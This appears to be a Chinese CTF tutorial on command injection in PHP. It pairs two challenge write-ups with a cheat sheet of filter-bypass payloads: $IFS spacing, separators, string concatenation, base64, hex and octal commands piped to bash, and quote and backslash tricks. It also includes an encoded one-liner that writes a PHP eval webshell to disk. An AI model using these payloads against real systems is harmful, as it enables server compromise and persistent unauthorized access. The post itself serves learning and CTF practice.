先来看看两道例题
第一题:题目链接
打开题目直接给了源码,
以及
可以看出其没有对用户输入的内容进行一定过滤直接传给shell_exec函数执行。所以存在命令行漏洞。
这里只要用;
或者&&
将shell_exec中的echo给截断即可执行我们想要执行命令。
本题的payload:?calc=1;cat%20there_1s_4_fl4g;1
第二题:题目连接
第二题是在第一题的基础上加了一些过滤措施
这里过滤了"#、`“和"flag”
payload:?calc=1;a=fl;b=ag;cat $a$b;1
命令执行的一些绕过技巧
① 空格过滤
空格可以用以下字符串代替:
< 、<>、%20(space)、%09(tab)、$IFS$9、 ${IFS}、$IFS等
$IFS在linux下表示分隔符,但是如果单纯的cat$IFS2,bash解释器会把整个IFS2当做变量名,所以导致输不出来结果,然而如果加一个{}就固定了变量名,同理在后面加个$可以起到截断的作用
,但是为什么要用$9呢,因为$9只是当前系统shell进程的第九个参数的持有者,它始终为空字符串。
② 一些命令分隔符
linux中:%0a 、%0d 、; 、& 、| 、&&、||
windows中:%0a、&、|、%1a(一个神奇的角色,作为.bat文件中的命令分隔符)
1、在 shell 中,担任”连续指令
”功能的符号就是”;
”
2、"&
" 放在启动参数后面表示设置此进程为后台进程,默认情况下,进程是前台进程,这时就把Shell给占据了,我们无法进行其他操作,对于那些没有交互的进程,很多时候,我们希望将其在后台启动,可以在启动参数的时候加一个’&’实现这个目的。
3、管道符"|
"左边命令的输出就会作为管道符右边命令的输入,所以左边的输出并不显示
③ 花括号的别样用法
在Linux bash中还可以使用{OS_COMMAND,ARGUMENT}
来执行系统命令
④ 黑名单绕过
1、拼接绕过
比如:a=l;b=s;$a$b
上面的第二道题目也是利用偶读拼接方法绕过黑名单:a=fl;b=ag;cat $a$b
2、编码绕过
base64:
echo MTIzCg==|base64 -d
其将会打印123echo "Y2F0IC9mbGFn"|base64-d|bash
==>cat /flag
hex:
echo "636174202f666c6167" | xxd -r -p|bash
==>cat /flag
oct:
$(printf "\154\163")
==>ls
$(printf "\x63\x61\x74\x20\x2f\x66\x6c\x61\x67")
==>cat /flag
{printf,"\x63\x61\x74\x20\x2f\x66\x6c\x61\x67"}|\$0
==>cat /flag
#可以通过这样来写webshell,内容为<?php @eval($_POST['c']);?>
${printf,"\74\77\160\150\160\40\100\145\166\141\154\50\44\137\120\117\123\124\133\47\143\47\135\51\73\77\76"} >> 1.php
3、单引号和双引号绕过
比如:ca''t flag
或ca""t flag
4、反斜杠绕过
比如:ca\t fl\ag
5、利用Shell 特殊变量绕过
变量 | 含义 |
---|---|
$0 | 当前脚本的文件名 |
$n | 传递给脚本或函数的参数。n 是一个数字,表示第几个参数。例如,第一个参数是1,第二个参数是2。而参数不存在时其值为空。 |
$# | 传递给脚本或函数的参数个数 |
$* | 传递给脚本或函数的所有参数,而参数不存在时其值为空。 |
$@ | 传递给脚本或函数的所有参数。,而参数不存在时其值为空。被双引号包函时,与$*稍有不同 |
$? | 上个命令的推出状态,或函数的返回值 |
$$ | 当前shell进程ID |
linux shell中$n表示传递给脚本或函数的参数。n 是一个数字,表示第几个参数。
例如,第一个参数是1,第二个参数是2。而参数不存在时其值为空。
$@表示
比如:ca$@t fla$@g
ca$1t fla$2g
⑤长度限制
长度限制可以用文件构造的方式来绕过。
linux下可以用 1>a创建文件名为a的空文件
ls -t>test则会将目录按时间排序后写进test文件中
sh命令可以从一个文件中读取命令来执行
利用这些特性,即可以成功绕过长度限制来执行命令。
⑥ 内联执行
命令替代,大部分Unix shell以及编程语言如Perl、PHP以及Ruby等都以成对的重音符(反引号)作指令替代,意思是以某一个指令的输出结果作为另一个指令的输入项。
例如:echo “a`pwd`”
于此类似的还有$(command).
例如:echo “abcd $(pwd)”
⑦ 通配符
常用的一些linux shell通配符:
字符 | 解释 |
---|---|
* | 匹配任意长度任意字符 |
? | 匹配任意单个字符 |
[list] | 匹配指定范围内(list)任意单个字符,也可以是单个字符组成的集合 |
[^list] | 匹配指定范围外的任意单个字符或字符集合 |
[!list] | 同[^list] |
{str1,str2} | 匹配str1或者str2字符,也可以是集合 |
IFS | 由<space>或<tab>或 |
CR | 由<enter>产生 |
! | 执行history中的命令 |
其中:
[...]
表示匹配方括号之中的任意一个字符。
比如[aeiou]
可以匹配五个元音字母,[a-z]
匹配任意小写字母。{…}表示匹配大括号里面的所有模式,模式之间使用逗号分隔。
$ echo d{a,e,i,u,o}g
dag deg dig dug dog#大括号可以嵌套使用
$ echo {j{p,pe}g,png}
jpg jpeg png
#{start…end}匹配连续字符
$ cat /f{0…z}ag
this_is_you_find_flag
{...}
与[...]
有一个很重要的区别。如果匹配的文件不存在,[...]
会失去模式的功能,变成一个单纯的字符串,而{...}
依然可以展开。
注:上面所有通配符只匹配单层路径,不能跨目录匹配,即无法匹配子目录里面的文件。或者说,?或*这样的通配符,不能匹配路径分隔符(/)。如果要匹配子目录里面的文件,可以写成这样:ls */*.txt
合理运用通配符有时可以达到意想不到的效果。
例如:
⑧反弹shell
bash方式
exec方式
nc方式
python方式
另一种:
Perl方式
php方式
lua方式
crontab方式
telnet方式
⑨ linux中直接查看文件内容的工具
cat、tac、more、less、head、tail、nl、sed、sort、uniq、
参考:
http://pupiles.com/shellcode.html
https://chybeta.github.io/2017/08/15/%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E7%9A%84%E4%B8%80%E4%BA%9B%E7%BB%95%E8%BF%87%E6%8A%80%E5%B7%A7/
https://blog.zeddyu.info/2019/01/17/%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C/